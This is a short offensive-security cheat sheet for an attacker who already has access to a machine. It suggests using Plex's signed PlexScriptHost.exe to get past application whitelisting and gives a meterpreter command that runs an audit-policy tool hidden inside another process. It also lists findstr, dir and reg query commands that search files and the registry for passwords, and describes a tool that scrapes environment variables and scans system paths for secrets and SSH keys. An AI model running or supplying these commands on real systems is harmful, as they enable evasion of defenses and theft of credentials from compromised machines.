You landed on a box with whitelisting and found out that Plex media server is installed....

Well, I suggest you look at PlexScriptHost.exe. (signed python interpreter)

In meterpreter:

execute -H -I -c -m -d calc.exe -f /tmp/GetAuditPol.exe -a -w

Substitute calc.exe for any innocuous running process if desired. Get GetAuditPol.exe from Carlos Perez' GitHub. Pulls audit policy on a Windows box as an unprivileged user.

Linux/ MacOS - check for auditd, syslogd, osqueryd

findstr /si password *.txt

findstr /si password *.xml

dir /s pass == cred == vnc == .config

findstr /spin "password" .

reg query HKLM /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s

• Scrapes environment variables for cloud and application secrets (e.g., AWS, TOKEN, SECRET, PASS, DB_).
• Recursively scans key filesystem paths (/home, /root, /etc, /var/www, /opt) for config and key material (.env, JSON/YAML configs, SSH keys, etc.), while avoiding large or noisy files.